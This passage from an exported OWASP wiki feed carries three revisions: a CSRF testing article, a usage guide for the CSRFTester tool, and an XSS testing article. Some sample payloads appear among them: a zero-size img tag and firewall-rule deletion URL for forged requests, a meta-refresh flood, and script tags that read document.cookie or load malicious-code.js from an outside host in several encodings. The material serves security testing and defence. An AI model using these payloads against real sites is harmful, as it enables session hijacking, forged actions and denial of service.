* by the user, who follows a link (external to the application) pointing to the URL.&lt;br /&gt;
&lt;br /&gt;
These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e., the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on ''site'', the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application and probably not what the user expects to happen. Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications.&lt;br /&gt;
&lt;br /&gt;
By using a tag such as ''img'', as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=”https://www.company.example/action” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results in a request being automatically sent to the web application hosted on ''site''. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the ''src'' field anyway. This happens provided that image download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability.&lt;br /&gt;
&lt;br /&gt;
The problem here is a consequence of the following facts:&lt;br /&gt;
&lt;br /&gt;
* there are HTML tags whose appearance in a page result in automatic http request execution (''img'' being one of those);&lt;br /&gt;
* the browser has no way to tell that the resource referenced by ''img ''is not actually an image and is in fact not legitimate;&lt;br /&gt;
* image loading happens regardless of the location of the alleged image, i.e., the form and the image itself need not be located in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications.&lt;br /&gt;
&lt;br /&gt;
It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a valid request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible.&lt;br /&gt;
&lt;br /&gt;
The problem might be even worse, since in integrated mail/browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie.&lt;br /&gt;
&lt;br /&gt;
Things may be obfuscated further, by referencing seemingly valid image URLs such as&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=”https://[attacker]/picture.gif” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on &lt;br /&gt;
 http://[attacker]/picture.gif to http://[thirdparty]/action.&lt;br /&gt;
&lt;br /&gt;
Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include form-based authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases).&lt;br /&gt;
&lt;br /&gt;
'''Sample scenario.'''&lt;br /&gt;
&lt;br /&gt;
Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself and session information is stored in a cookie.&lt;br /&gt;
&lt;br /&gt;
Let's suppose the firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters ‘*’ (quite a dangerous feature, but it will make the example more interesting). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form&lt;br /&gt;
&lt;br /&gt;
 https://[target]/fwmgt/delete?rule=1&lt;br /&gt;
&lt;br /&gt;
(to delete rule number one)&lt;br /&gt;
&lt;br /&gt;
 https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
(to delete all rules).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example is purposely quite naive, but shows in a simple way the dangers of CSRF.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Therefore, if we enter the value ‘*’ and press the Delete button, the following GET request is submitted.&lt;br /&gt;
&lt;br /&gt;
 https://www.company.example/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management 2.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL &lt;br /&gt;
&lt;br /&gt;
 https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded ''img'' tag pointing to the same URL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a CSRF attack targeting an application monitoring a nuclear power plant. Sounds far fetched? Probably, but it is a possibility.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Self-vulnerable applications, i.e., applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a CSRF attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
&lt;br /&gt;
===Black Box Testing===&lt;br /&gt;
&lt;br /&gt;
For a black box test the tester must know URLs in the restricted (authenticated) area. If they possess valid credentials, they can assume both roles – the attacker and the victim. In this case, testers know the URLs to be tested just by browsing around the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Otherwise, if testers don’t have valid credentials available, they have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Either way, a test case can be constructed as follows:&lt;br /&gt;
&lt;br /&gt;
* let ''u'' the URL being tested; for example, u = http://www.example.com/action&lt;br /&gt;
* build an html page containing the http request referencing URL u (specifying all relevant parameters; in the case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);&lt;br /&gt;
* make sure that the valid user is logged on the application;&lt;br /&gt;
* induce him into following the link pointing to the URL to be tested (social engineering involved if you cannot impersonate the user yourself);&lt;br /&gt;
* observe the result, i.e. check if the web server executed the request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Gray Box Testing===&lt;br /&gt;
&lt;br /&gt;
Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. &amp;quot;Client side values” mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term ''secret'' to refer to this piece of information).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* WebScarab Spider http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
* CSRF Tester http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project&lt;br /&gt;
* Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_site_request_forgery.php (via img)&lt;br /&gt;
* Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_site_framing.php (via iframe)&lt;br /&gt;
* Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Peter W: &amp;quot;Cross-Site Request Forgeries&amp;quot; - http://www.tux.org/~peterw/csrf.txt&lt;br /&gt;
* Thomas Schreiber: &amp;quot;Session Riding&amp;quot; - http://www.securenet.de/papers/Session_Riding.pdf&lt;br /&gt;
* Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan&lt;br /&gt;
* Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml &lt;br /&gt;
* A Most-Neglected Fact About Cross Site Request Forgery (CSRF) - [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf  http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf ]&lt;br /&gt;
&lt;br /&gt;
==Remediation==&lt;br /&gt;
&lt;br /&gt;
The following countermeasures are divided among recommendations to users and to developers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Users&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are:&lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a web application&lt;br /&gt;
* Do not allow the browser to save username/passwords, and do not allow sites to “remember” the log in details.&lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf freely the Internet; if it is necessary to do both things at the same machine, do them with separate browsers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Developers&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit:&lt;br /&gt;
&lt;br /&gt;
*Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack. &lt;br /&gt;
*The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application. &lt;br /&gt;
*Automatic log out mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Avoid CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to CSRF |Avoid CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Review Code for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Prevent CSRF Vulnerabilites===&lt;br /&gt;
&lt;br /&gt;
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CSRFTester_Usage&amp;diff=191288</id>
		<title>CSRFTester Usage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CSRFTester_Usage&amp;diff=191288"/>
				<updated>2015-03-12T18:07:17Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
&lt;br /&gt;
The following article describes how to utilize the OWASP CSRFTester to generate test cases during an application security assessment.&lt;br /&gt;
&lt;br /&gt;
To download the tool, please visit the [[:Category:OWASP_CSRFTester_Project|OWASP CSRFTester project page]].&lt;br /&gt;
&lt;br /&gt;
== Quick Steps ==&lt;br /&gt;
&lt;br /&gt;
An outline of the steps necessary to launch and utilize the CSRFTester:&lt;br /&gt;
&lt;br /&gt;
::# Update the JAVA_HOME environment variable in run.bat.&lt;br /&gt;
::# Double-click run.bat.&lt;br /&gt;
::# Configure your browser to proxy through CSRFTester.&lt;br /&gt;
::# Record the execution of a business function.&lt;br /&gt;
::# Modify the parameters of the recorded business function.&lt;br /&gt;
::# Generate an HTML report that carries out the business function.&lt;br /&gt;
::# In a separate browser window (and with a separate user), view the generated HTML file.&lt;br /&gt;
&lt;br /&gt;
If the action was successfully carried out, then the application is vulnerable to CSRF.&lt;br /&gt;
&lt;br /&gt;
== Full Steps ==&lt;br /&gt;
&lt;br /&gt;
=== Launch OWASP CSRFTester ===&lt;br /&gt;
&lt;br /&gt;
The CSRFTester distribution contains three files:&lt;br /&gt;
&lt;br /&gt;
# run.bat&lt;br /&gt;
# OWASP-CSRFTester-1.0.jar&lt;br /&gt;
# lib\concurrent.jar&lt;br /&gt;
&lt;br /&gt;
The run.bat script configures the classpath to include the required jars and invokes the appropriate main class. Currently, the batch script assumes your JDK runtime exists under &amp;lt;code&amp;gt;C:\AppSecWorkbench\jdk16\jre&amp;lt;/code&amp;gt;. Obviously, this will not be the correct location of your JVM. Make sure you '''update the JAVA_HOME environment variable''' in run.bat before attempting to execute the batch file. Assuming proper configuration, executing run.bat should launch CSRFTester. If an error occurs, evident when the command line interface quickly disappears, consider opening up a separate CLI and CD directly to the folder of your run.bat file and execute it via command line. Any errors that may occur will display to stdout.&lt;br /&gt;
&lt;br /&gt;
=== Record Execution of Business Functions ===&lt;br /&gt;
&lt;br /&gt;
Once the CSRFTester loads successfully, we must record a transaction that we want to test for CSRF. First, configure the browser to proxy all HTTP traffic through CSRFTester. We can configure this proxy behavior in IE using the Tools menu: Select Tools &amp;gt; Internet Options &amp;gt; Connections &amp;gt; LAN Settings will display the proxy configuration dialog.&lt;br /&gt;
&lt;br /&gt;
[[Image:IE Proxy.PNG]]&lt;br /&gt;
&lt;br /&gt;
CSRFTester defaults to using port 8008 on localhost for its proxy. You need to configure IE to relay requests to CSRFTester, rather than fetching them itself, as shown in the above image. Make sure that all checkboxes are unchecked, except for &amp;quot;Use a proxy server&amp;quot;. Once you have configured IE to use the proxy, select Ok on all dialogs to get back to the browser. Browse to a non-SSL website, and then switch to CSRFTester.&lt;br /&gt;
&lt;br /&gt;
If the proxy was successfully configured, CSRFTester will generate debug messages to stdout for all subsequent HTTP requests generated by your browser. At this point, we need to locate a particular business function that we want to test for CSRF. Browse to the page where the business function (or functions) are first &amp;quot;loaded&amp;quot;. Once this page is located, select the &amp;quot;Start Recording&amp;quot; button in CSRFTester and execute the business function or functions. Once complete, click the &amp;quot;Stop Recording&amp;quot; button within CSRFTester. You'll notice that the list on the main screen now has a series of requests recorded. These are all of the GET/POST requests generated by our browser while executing the business function(s). By selecting one of the rows in the list, we now have the ability to modify the parameters that were used to execute the business function. We can modify the &amp;quot;query string&amp;quot; parameters and &amp;quot;form&amp;quot; parameters through their respective panes on the bottom half of the screen. Note that these are the values we wish to trick the end user into submitting. Once all of the parameters have been modified to contain your desired values, we are now ready to begin generating HTML reports.&lt;br /&gt;
&lt;br /&gt;
=== Generate HTML Reports ===&lt;br /&gt;
&lt;br /&gt;
The HTML reports generated by the CSRFTester tool are used to carry out the CSRF test cases against other users of the web application. To generate a report, we first must select a &amp;quot;report type&amp;quot;. The report type determines how we want the victims browser to submit the previously recorded requests. There currently exists 5 possible reports: forms, iFrame, IMG, XHR, and Link. &lt;br /&gt;
&lt;br /&gt;
 '''Forms''': This report type will submit the request(s) using auto-posting forms&lt;br /&gt;
 '''iFrame''': This report type will submit the request(s) using and auto-submitting iframe tag.&lt;br /&gt;
 '''IMG''': This report will submit the request(s) using the &amp;lt;img src=&amp;quot;...&amp;quot;/&amp;gt; tag&lt;br /&gt;
 '''XHR''': This report will submit the request(s) using XMLHttpRequest. Note that this is subject to the same origin policy.&lt;br /&gt;
 '''Link''': This report will submit the request(s) when the user clicks a link.&lt;br /&gt;
&lt;br /&gt;
Once a report type is selected, you can optionally launch the newly generated report in your browser. To enable/disable this option, check/uncheck the &amp;quot;Display in Browser&amp;quot; checkbox next to the &amp;quot;Generate HTML&amp;quot; button in the bottom right-hand corner. Finally, we can click the &amp;quot;Generate HTML&amp;quot; button to create the HTML report that will submit our recorded (and possibly modified) actions. To carry out the test case, open a new browser instance, authenticate as another user with access to the same business function(s), and have that user/browser launch the newly created HTML report file. If the action was carried out after viewing the file in the same browser window that was used to authenticate the new user (i.e. the victim), then that particular business function is vulnerable to cross-site request forgery.&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=191134</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=191134"/>
				<updated>2015-03-10T16:36:15Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
[[Cross-site Scripting (XSS)]] attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP articles on [[Cross-site Scripting (XSS)]] Vulnerabilities and [[DOM Based XSS]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Cross-site scripting|Reviewing code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
[[Category:FIXME|I think this whole section needs to be deleted]]&lt;br /&gt;
&lt;br /&gt;
[[XSS]] attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties -- the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
'''Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM-Based.'''&lt;br /&gt;
&lt;br /&gt;
The '''Stored Cross Site Scripting''' vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.&lt;br /&gt;
&lt;br /&gt;
These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross-site scripting virus.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:XSSStored1.PNG]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:XSSStored2.PNG]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '''Reflected Cross-Site Scripting''' vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.&lt;br /&gt;
&lt;br /&gt;
At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.&lt;br /&gt;
In some cases a Denial of Service attack can be performed on the server by doing the following:      &lt;br /&gt;
&lt;br /&gt;
 article.php?title=&amp;lt;meta%20http-equiv=&amp;quot;refresh&amp;quot;%20content=&amp;quot;0;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes. &lt;br /&gt;
&lt;br /&gt;
The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.&lt;br /&gt;
Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation. &lt;br /&gt;
&lt;br /&gt;
For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.&lt;br /&gt;
&lt;br /&gt;
The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server/cgi-bin/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.&lt;br /&gt;
&lt;br /&gt;
'''Example 1:'''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless.  If this is the case, you may want to use VBScript since it is not a case sensitive language.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.&lt;br /&gt;
&lt;br /&gt;
'''Example 2:'''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script src=http://www.example.com/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can find more examples of XSS Injection here: http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Hacking Intranet Websites from the Outside &amp;quot;JavaScript malware just got a lot more dangerous&amp;quot;&amp;quot; - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf&lt;br /&gt;
&lt;br /&gt;
* Amit Klien: &amp;quot;DOM Based Cross Site Scripting&amp;quot; - http://www.securiteam.com/securityreviews/5MP080KGKW.html&lt;br /&gt;
&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Aung Khant: &amp;quot;What XSS Can do - Benefits of XSS From Attacker's view&amp;quot; - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&lt;br /&gt;
